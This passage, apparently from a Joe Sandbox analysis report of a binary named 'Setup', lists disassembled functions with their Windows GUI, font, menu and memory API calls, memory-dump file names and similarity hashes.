Instruction Fuzzy Hash: E0E1A070A05606AFDB189F64C895BEDBBE5FF09710F1402AAF919A7391CF74AD40CB90

Function 00C1E569 Relevance: 15.3, APIs: 10, Instructions: 265COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00C1E59D
GetWindowRect.USER32(?,?), ref: 00C1E5F4
CopyRect.USER32(?,?), ref: 00C1E60C
PtInRect.USER32(?,00000000,?), ref: 00C1E6FA
PtInRect.USER32(?,00000000,?), ref: 00C1E72B
PtInRect.USER32(?,00000000,?), ref: 00C1E767
PtInRect.USER32(?,00000000,?), ref: 00C1E7C3
PtInRect.USER32(?,00000000,?), ref: 00C1E800
PtInRect.USER32(?,00000000,?), ref: 00C1E847
PtInRect.USER32(?,00000000,?), ref: 00C1E87E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$CopyParentWindow
String ID:
API String ID: 642869531-0
Opcode ID: 5934aa2a2915c830b3ba021d4cf9720f62372c9db8b773a7df5c2ab00043de6e
Instruction ID: 5b106a742620a93e3c2f6f865b730c0257f8d8d81ffba04289a87fb3bdb726c9
Opcode Fuzzy Hash: 5934aa2a2915c830b3ba021d4cf9720f62372c9db8b773a7df5c2ab00043de6e
Instruction Fuzzy Hash: DAB1D671E002199FDF11CFA8D944BEEBBF5BF09304F14416AE819E7250D7749A80DB91

Function 00BAB319 Relevance: 15.2, APIs: 10, Instructions: 219timeCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BAB360
ScreenToClient.USER32(?,?), ref: 00BAB36D
PtInRect.USER32(?,?,?), ref: 00BAB3AC
PtInRect.USER32(?,?,?), ref: 00BAB3D1
KillTimer.USER32(?,0000EC16), ref: 00BAB404
InvalidateRect.USER32(?,?,00000001), ref: 00BAB41C
InvalidateRect.USER32(?,?,00000001), ref: 00BAB42E
KillTimer.USER32(?,0000EC15), ref: 00BAB58E
ValidateRect.USER32(?,00000000), ref: 00BAB5B8
RedrawWindow.USER32(?,00000000,00000000,00000185,00000000,00000000,00000000), ref: 00BAB5F6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$InvalidateKillTimer$ClientCursorRedrawScreenValidateWindow
String ID:
API String ID: 1459077570-0
Opcode ID: 9f34c5a412ec78056bec32a1ca1bcd80bc10e5621a554cc905865cca3d70cd27
Instruction ID: e02f66cbba594e3a2b4a6a2d5a25b398c95f980b497763089b29a36418d36592
Opcode Fuzzy Hash: 9f34c5a412ec78056bec32a1ca1bcd80bc10e5621a554cc905865cca3d70cd27
Instruction Fuzzy Hash: 44912B71A04606FFCB18DF64D994AADFBF9FF19314F1001AAE415A3262DB30AE50DB91

Function 00BEA42A Relevance: 15.2, APIs: 10, Instructions: 204COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BEA434
GetObjectW.GDI32(?,00000018,?), ref: 00BEA45D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3_Object
String ID:
API String ID: 2214263146-0
Opcode ID: d04afbff4990a0b61f980d7c4e00059e36708c62941618a01a167c431b993190
Instruction ID: a973d77c3071babcd4d7cd880d9d0fe950f0fe33347c80c256379a3f6f4e8ae4
Opcode Fuzzy Hash: d04afbff4990a0b61f980d7c4e00059e36708c62941618a01a167c431b993190
Instruction Fuzzy Hash: 7581E775E002598FDB24CFA9C884B9DBBB9FF49300F1481A9E549A7351DB30AD45CF51

Function 00BA7040 Relevance: 15.2, APIs: 10, Instructions: 165timeCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BA7061
ScreenToClient.USER32(?,?), ref: 00BA706E
KillTimer.USER32(?,0000EC17), ref: 00BA7086
PtInRect.USER32(?,?,?), ref: 00BA70B5
KillTimer.USER32(?,0000EC18), ref: 00BA7140
GetParent.USER32(?), ref: 00BA7155
PtInRect.USER32(?,?,?), ref: 00BA7181
KillTimer.USER32(?,0000EC07), ref: 00BA71DF
GetClientRect.USER32(?,?), ref: 00BA71F8
PtInRect.USER32(?,?,?), ref: 00BA7208

Part of subcall function 00B75ECE: ShowWindow.USER32(?,00000000,?,?,00B69BB1,00000000,?,00000363,00000001,00000000,00000001,00000001,?,?,00000363,00000001), ref: 00B75EDF

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$KillTimer$Client$CursorParentScreenShowWindow
String ID:
API String ID: 966434589-0
Opcode ID: 7f86ba8d732e39df2531915bea4981e8e6c325d56bbbd89289e4c472b2c5603a
Instruction ID: 37e8b77e093e3302f74d3a827d86258a048bd772b040a33e4fc715bced60da0a
Opcode Fuzzy Hash: 7f86ba8d732e39df2531915bea4981e8e6c325d56bbbd89289e4c472b2c5603a
Instruction Fuzzy Hash: 6C516E71A09215DFDF259FA0DC84BAE7BB9FF49310F1401AAFC05AB251DB349941CBA1

Function 00B76E43 Relevance: 15.1, APIs: 10, Instructions: 110memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B76E4A
EnterCriticalSection.KERNEL32(?,00000010,00B76D45,?,00000000), ref: 00B76E5B
TlsGetValue.KERNEL32(?,?,00000000), ref: 00B76E77
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000), ref: 00B76EE7
LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000), ref: 00B76F01
TlsSetValue.KERNEL32(?,00000000), ref: 00B76F32
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00B76F53
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00B76F64
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00B76F76
__CxxThrowException@8.LIBVCRUNTIME ref: 00B76F80

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalSection$Leave$AllocLocalValue$EnterException@8H_prolog3_catchThrow
String ID:
API String ID: 2756576426-0
Opcode ID: 53d66f945c9b29cf6a43b334832117ce0bd2544c5061340b5e12df3170e34ff0
Instruction ID: 93bc9835f79377154cb136acc3c66e79c9e8889f58d6106ef455fa2b491e2162
Opcode Fuzzy Hash: 53d66f945c9b29cf6a43b334832117ce0bd2544c5061340b5e12df3170e34ff0
Instruction Fuzzy Hash: CF41AD70500B06EFDB209F24D885E2EBBF4FF40310B20C5AAE5699B661CB31ED14CB51

Function 00B7655A Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00B76575
WindowFromPoint.USER32(?,?), ref: 00B76583
GetActiveWindow.USER32 ref: 00B765A4
GetCurrentThreadId.KERNEL32 ref: 00B765BE
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B765CE
GetDesktopWindow.USER32 ref: 00B765E3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Thread$ActiveCaptureCurrentDesktopFromPointProcess
String ID:
API String ID: 1298419125-0
Opcode ID: e5b67d0395bc8aa0ab4772dcb9b8956b0ab6bb786f10f8f5c6681fb988a85058
Instruction ID: c738387d7e009801494e73a42689f20c135c12f7725c195d0e0c6e53fe0bb6e7
Opcode Fuzzy Hash: e5b67d0395bc8aa0ab4772dcb9b8956b0ab6bb786f10f8f5c6681fb988a85058
Instruction Fuzzy Hash: 25315E71A01A15EFCB15AFA4D9447ADBBF4FB14741F5081AAE429E2251D730DE00DFA1

Function 00B684E5 Relevance: 15.1, APIs: 10, Instructions: 90windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B684EC
__CxxThrowException@8.LIBVCRUNTIME ref: 00B68524
GetMenuItemCount.USER32(?), ref: 00B68533
GetMenuItemCount.USER32(00B67F84), ref: 00B6853F
GetSubMenu.USER32(00B67F84,-00000001), ref: 00B68556
GetMenuItemCount.USER32(00000000), ref: 00B68569
GetSubMenu.USER32(00000000,00000000), ref: 00B6857A
RemoveMenu.USER32(00000000,00000000,00000400,?,?,?,00B67F84,00D12F40,00000004,00B64038), ref: 00B68594

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Menu$CountItem$Exception@8H_prolog3RemoveThrow
String ID:
API String ID: 642076194-0
Opcode ID: b0d8a5455fd3306a923be5daee8e1bc4ff463a57ec9870f99481e74bc1921c48
Instruction ID: 93b9bafceeabaf7a3a07245cd3d9c968fe6d77f6769868c05bfd1a9a5dd403c3
Opcode Fuzzy Hash: b0d8a5455fd3306a923be5daee8e1bc4ff463a57ec9870f99481e74bc1921c48
Instruction Fuzzy Hash: BF218DB1600346BBCB10AF68DD49B9E7FF8FB50310F21826AF506A6151CF74DA40CB51

Function 00B7CF56 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 212COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B7CF5D
__EH_prolog3_GS.LIBCMT ref: 00B7D0DB
GetStockObject.GDI32(00000011), ref: 00B7D0FF
GetStockObject.GDI32(0000000D), ref: 00B7D10E

Strings

, xrefs: 00B7D138

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ObjectStock$H_prolog3_H_prolog3_catch
String ID:
API String ID: 4044198078-3916222277
Opcode ID: 3574389a6578fa641782b98318e7a1ee96943d37ec52722fc17c5ada93040f36
Instruction ID: 0b8c2dd6ccda673c5b41dc280f52755ede22d81ef9c4fc64e2c5225d31d997da
Opcode Fuzzy Hash: 3574389a6578fa641782b98318e7a1ee96943d37ec52722fc17c5ada93040f36
Instruction Fuzzy Hash: 6A916A75A0020ADFCF11DFA4C854AAEBBF1FF48350F1481AAE919A7291DB319E41DF51

Function 00BE07E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B76C73: __EH_prolog3_catch.LIBCMT ref: 00B76C7A

GetModuleHandleW.KERNEL32(comctl32.dll,00BE091A,?,00000000,?,?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE0813
GetUserDefaultUILanguage.KERNEL32(?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE0824
FindResourceExW.KERNEL32(?,00000005,?,0000FC11,?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE0863
FindResourceW.KERNEL32(?,?,00000005,?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE0880
LoadResource.KERNEL32(?,00000000,?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE088E

Part of subcall function 00BE0958: GetDC.USER32(00000000), ref: 00BE09AB
Part of subcall function 00BE0958: EnumFontFamiliesExW.GDI32(00000000,?,00BE0942,?,00000000,?,?,?,?,?,?,00000000), ref: 00BE09C6
Part of subcall function 00BE0958: ReleaseDC.USER32(00000000,00000000), ref: 00BE09CE

GlobalAlloc.KERNEL32(00000040,00000000,?,?,00B8D2A2,?,?,00B8BD43,00000000,0000001C,00B8D0AA,?,00B8BD43), ref: 00BE08BE

Strings

MS UI Gothic, xrefs: 00BE083B
comctl32.dll, xrefs: 00BE080E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$Find$AllocDefaultEnumFamiliesFontGlobalH_prolog3_catchHandleLanguageLoadModuleReleaseUser
String ID: MS UI Gothic$comctl32.dll
API String ID: 3737665285-3248924666
Opcode ID: 65e8e26fcdb78d21a136a5851c5e912ae50315f4eaa131bc8c225e95fa26ea96
Instruction ID: c8fe1133463861be9d4dd2aada16f738efaecb1c349921fcc54365e7d0823e30
Opcode Fuzzy Hash: 65e8e26fcdb78d21a136a5851c5e912ae50315f4eaa131bc8c225e95fa26ea96
Instruction Fuzzy Hash: F8312471610286ABEB14BF66CC4AF2E77E8EF40710F0480A9F846CB291DBB4DD818660

Function 00BFE21F Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 101sleepthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00D2E050,?,?,?,00BA0E6D,00000001), ref: 00BFE244
SetThreadPriority.KERNEL32(00000000,000000FF), ref: 00BFE275
LeaveCriticalSection.KERNEL32(00D2E050), ref: 00BFE28B
PlaySoundW.WINMM(MenuCommand,00000000,00012002), ref: 00BFE2DB
Sleep.KERNEL32(00000005,?,00D2E050,?,?,?,?,00BA0E6D,00000001), ref: 00BFE306
PlaySoundW.WINMM(00000000,00000000,00000040), ref: 00BFE31B

Strings

MenuCommand, xrefs: 00BFE2ED
MenuPopup, xrefs: 00BFE2D6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalPlaySectionSound$EnterLeavePrioritySleepThread
String ID: MenuCommand$MenuPopup
API String ID: 2370138168-2036262055
Opcode ID: c5744d7d0533f945a5b26a38b763f3b8db47da38c635c8d9cb6c157633eabfad
Instruction ID: 1f02fdd4bf63daf3a0e979f2b7c74576f8c5a79d7a2c68fe4fc38cae97ea30a8
Opcode Fuzzy Hash: c5744d7d0533f945a5b26a38b763f3b8db47da38c635c8d9cb6c157633eabfad
Instruction Fuzzy Hash: 9731C13154074A9BD2319B28AC49F397BA8F761734F200366F635D33F0E7B0880AC6A5

Function 00B89EC8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00B89EEA
GetStockObject.GDI32(0000000D), ref: 00B89EF6
GetObjectW.GDI32(00000000,0000005C,?), ref: 00B89F07
GetDC.USER32(00000000), ref: 00B89F16
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B89F2D
MulDiv.KERNEL32(?,00000048,00000000), ref: 00B89F39
ReleaseDC.USER32(00000000,00000000), ref: 00B89F45

Strings

System, xrefs: 00B89EE0, 00B89F5A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 917800ecb1dae93445816a0bbe5998f837a378d6d752054747f6a02267903e1f
Instruction ID: 006532bee480629b515bc806ba310b697bd9bf83f9c429a9b92b671c728a92fc
